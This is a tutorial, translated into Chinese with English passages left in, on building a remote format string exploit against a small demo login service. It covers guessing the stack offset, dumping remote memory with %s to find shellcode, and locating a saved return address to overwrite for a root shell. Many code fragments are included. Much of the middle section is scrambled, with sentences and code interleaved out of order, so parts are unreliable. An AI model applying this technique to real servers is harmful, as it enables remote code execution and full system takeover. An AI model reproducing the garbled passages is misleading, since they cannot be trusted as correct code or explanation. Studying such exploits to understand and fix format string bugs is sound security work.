format string bug已经被大家熟悉了,但写一个这样的exploit或者就有点难度了,特别是写一个远程自动精确定位的format string exploit.当然,有些format string bug是不能写出远程自动精确定位的exploit的,比如说vul出现在syslog(LOG_ERR, buf),
这样的vuln就只能暴力猜测了.
下面我们就step by step来展现下这种远程自动精确定位的format string exploit技术。
★★★ --[ 1. Context : the vulnerable server ]--
我们写了个很小的服务程序做为演示之用。请求login名和密码,然后echo它的输入。该服务程序代码放在appendix 1.
安装fmtd server, 配置如下,我们使用12345 port
# /etc/inetd.conf
12345 stream tcp nowait root /home/alert7/format/fmtd
Or with xinetd:
# /etc/xinetd.conf
service fmtd
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
}
我的实验环境是默认redhat 6.2,所以选用的是第一种。
重起inetd服务。使fmtd服务有效。
[root@redhat]# netstat -nlp|grep 12345
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 4932/inetd
现在,看看该服务是如何工作的:
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
helo
helo
helo world
helo world
^]
telnet> quit
Connection closed.
看一下log文件
[root@redhat]# tail -5 /var/log/messages
Mar 3 22:03:14 redhat fmtd[4948]: login -> read login [alert7^M ] (8) bytes
Mar 3 22:03:15 redhat fmtd[4948]: passwd -> read passwd [bffff820] (3) bytes
Mar 3 22:03:15 redhat fmtd[4948]: vul() -> tmp = 0xbffff418 buf = 0xbffff018
Mar 3 22:03:23 redhat fmtd[4948]: vul() -> error while reading input buf [] (0)
Mar 3 22:03:23 redhat inetd[4932]: pid 4948: exit status 255
假如我们使用format string,try again
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
%x %x %x %x
d 25207825 78252078 d782520
字符串"%x %x %x %x"将被做为format string,所以我们就看到了d 25207825 78252078 d782520,
显然,该server就存在一个format string vuln.
int main( int argc, char ** argv )
下面是作者的原话,因为我认为他讲的有点问题,所以没有翻译,留着给读者自己鉴别。
In fact, all programs acting like that are not vulnerable to a
format bug:
{
char buf[8];
sprintf( buf, argv[1] );
}
Using %hn to exploit this leads to an overflow: the formatted
string is getting greater and greater, but since no control is
performed on its length, an overflow occurs.
而我认为这样的程序还是可以利用format string bug to exploit it.
唯一担心的是formatted string太大,会碰到堆栈底(0xc0000000)而使程序终止,
这样的话就比较麻烦了。
看看server中问题所在的函数vul():
...
snprintf(tmp, sizeof(tmp)-1, buf);
...
因为buffer 就象local format bug一样,以下这些参数需要获得: * the offset to reach the beginning of the buffer ; exploit代码在附录2。下面部分我们来解释下exploit是如何设计的。 以下这些是exploit中使用到的一些变量: * sd : the socket between client (exploit) and the vulnerable server ; 该offset在该类型的exploit中总是需要的,它的获取跟local exploit一样: [alert7@redhat]$ telnet 0 12345 这里,offset为2。该变量使用自动猜测也是很容易得到的(通过get_offset()获得)。 在某些不支持$的系统上,使用 其实还有个对齐问题,作者可能没有注意到 在本文演示程序中,aligned = 0,offset = 2 例如printf(buf)这样一个函数调用时候 #define MAXOFFSET 255 for (i = 1; i snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i); 我们必须猜测shellcode在服务器内存中的地址。我们可以把shellcode放到 我们的目标是找到shellcode在服务器内存中地址。所以我们将使用remote debugger % exploit中,分两步完成: 1. get_addr_as_char(u_int addr, char *buf)函数把add转化为char: 2. 4个字节后包含了format string 然后format string被送到远程的服务器上: get_addr_as_char(read_at, fmt); client读出在地址的数据(以string形式)。假如不包含shellcode,那么下一次 为了构造out buffer, sprintf() 从 while( (len = read(sd, buf, sizeof(buf))) > 0) { 另外一个问题是,如何在内存中鉴别出shellcode。假如正好读出了所有的shellcode, 为了避免上述问题,假如读的字节多少等于buffer的大小,exploit会忽略最后sizeof(shellcode) while( (len = read(sd, buf, sizeof(buf))) > 0) { 注意:这种情况还没有测试...所以不保证它能正常工作 ;-/ 在buf中匹配Pattern : ptr = strstr(buf, pattern); 它返回一个指向buf中pattern的指针。因此,shellcode的位置就是: 事实上还应该减去4,那4个字节就是用来读read_at地址的buffer开始的那四个字节 addr_shellcode = read_at + (ptr-buf) - 4; 其实应该写成这样好理解些 代码一小段,没什么好解释的: while( (len = read(sd, buf, sizeof(buf))) > 0) { 其次,我们该来猜测返回地址了。我们需要在远程进程stack(其实随便什么地址都行,只要最后让shellcode得到控制权)中找到这样一个地址,把shellcode的地址写入该返回地址。 我们的目标是找到积存器%eip存放的堆栈位置。分两步完成: 1. 找到input buffer的地址 为什么我们需要查找buffer的地址呢?在堆栈中查找(saved ebp, saved eip)pair 因此,第一步,我们来猜测vuln buffer的地址。在该地址之上的地址中的pairs input buffer在远程进程内存中是容易鉴别的:它是我们输入数据的一个mirror。 所以,我们很容易的就能得到一份format string拷贝的地址: while((len = read(sd, buf, sizeof(buf))) > 0) { 大部分linux的stack top在0xc0000000.但不是全部:Caldera 的stack top为 所以,我们必须读远程堆栈,找到如下: 0x0804XXXX 由于i386上是小端字节序,这就等于查找下面字符序列0xff 0xbf XX XX 0x04 0x08. i = 4; 变量_ret>是用一个公式来计算: * read_at : the address we just read ;
server权限的shell.
★★★ --[ 2. Requested parameters ]--
到buffer开始的offset
* the address of a shellcode placed somewhere is the server's memory ;
shellcode的地址
* the address of the vulnerable buffer ;
vuln buffer的地址,也就是input buffer format string的地址
* a return address.
一个要覆盖的返回地址,覆盖这个地址,我们的shellcode才能得到控制权
client和vuln server的一个socket
* buf : a buffer to read/write some data ;
读写的一些数据
* read_at : an address in the server's stack ;
要读服务器stack的地址
* fmt : format string sent to the server.
发送到server的format string
★★ --[ 2.1 猜测offset ]--
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141
它发string "AAAA%
[alert7@redhat]$ telnet 0 12345
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
login: alert7
password: 1
aaaa%p
aaaa0x8
aaaa%p%p
aaaa0xa0x61616161
使用该模板发送到服务器
[a][a][a]AAAA%
[a]表示该a可选
假如发送aAAAA%7$x
服务器回答aAAAA41414141
那么就需要添一个a对齐即aligned=1,offset为7
------------------------------------------------------------------
| printf's 返回时ebp | printf's 返回时eip | buf地址 | x | x | buf
------------------------------------------------------------------
buf_ptr
这里,aligned 就是等于4- (buf-buf_ptr-4)%4
if (aligned ==4) aligned =0;
offset = (buf-buf_ptr-4)/4
其实aligned,offset 大部分时候可以用手动计算就可以得到
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
read(sock, buf, sizeof(buf))
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}
★★ --[ 2.2 Guessing the address of the shellcode in the stack ]--
vuln buffer中或者其他地方。比如密码中(PASS)---一些ftp server对anonymous
的passwd没有多做检查。我们的server就是这样工作的 。
★ -- --[ Making a format bug a debugger ]-- --
来达到目的。
使用format string "%s", 我们将send连续的"%s"到服务器,exploit能dump出
服务器进程的内存:
*(u_int*)buf = addr;
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));
就在的地址读下一段string。
前面4个字节是要读的地址:他们简单的被拷贝到output buffer中.
然后是format string.因此,我们必须移4个字节:
[ ... ]
read_at += (len-4+1);
[ ... ]
}
★ -- --[ 我们要寻找什么 ? ]-- --
还是一不小心就会错过它。因为buffer是以NULL结尾的,该字符串包含许多NOPs。因此读
shellcode操作可以分成两步完成。
字节大小的数据。所以,read操作按下面执行:
[ ... ]
read_at += len;
if (len == sizeof(buf))
read_at-=strlen(shellcode);
[ ... ]
}
这种机会出现的概率比较小,如果真的出现这样的情况的话,exploit会失败。
★ -- --[ 在远程进程中查找shellcode的精确地址 ]-- --
addr_shellcode = read_at + (ptr-buf);
addr_shellcode = read_at + (ptr-(buf + 4) );
★ -- --[ shellcode : a summary ]-- --
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
if (len == sizeof(buf)) {
read_at-=strlen(shellcode);
}
memset (buf, 0x0, sizeof (buf));
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
★★ --[ 2.3 猜测返回地址 ]--
2. 找出属于vuln buffer函数的返回地址
对我们来说不是一个好主意。因为在不同的调用函数不用清理堆栈。所以它将包含以前函数调用的(saved ebp, saved eip)pair,甚至还包含着在进程中不使用的这样的pair.
(saved ebp, saved eip)才是可用的。
★ -- --[ 猜测input buffer地址 ]-- --
server fmtd不做任何修改的拷贝它们。(假如在服务器回答之前对input buffer
做了一下处理,比如都转成大写,这样就比较麻烦,需要处理下)
if ((ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
memset (buf, 0x0, sizeof (buf));
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
★ -- --[ 猜测返回地址 ]-- --
0x80000000 (BTW, 谁能解释下为什么?).还有一些打了安全内核补丁的stack top也
不一定为0xc0000000。那些返回地址的存放地位置大概在0xbfffXXXX,这里
定数。而进程的代码被装载到0x08048000开始处。
0xbfffXXXX
Top of the stack
就象前面看到的,我们不必考虑返回回来的string的最前面的4个字节:
while (i
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
if (addr_ret != -1) break;
* +i : the offset in the string we are looking for the pattern (we
can't use strstr() since our pattern has wildcards - undefined
bytes XX) ;
* -2 : the first bytes we discover in the stack are ff bf, but
he full word (i.e. saved %ebp) is written on 4 bytes. The -2
is for the 2 "least bytes" placed at the beginning of the word XX
XX ff bf ;
* +4 : this modification is due to the return address which is 4
bytes above the saved %ebp ;
* -4 : as you should be used to now, the first 4 bytes which are a
copy of the read address.
不翻译上面的了,中文意思表达不清,还是E的吧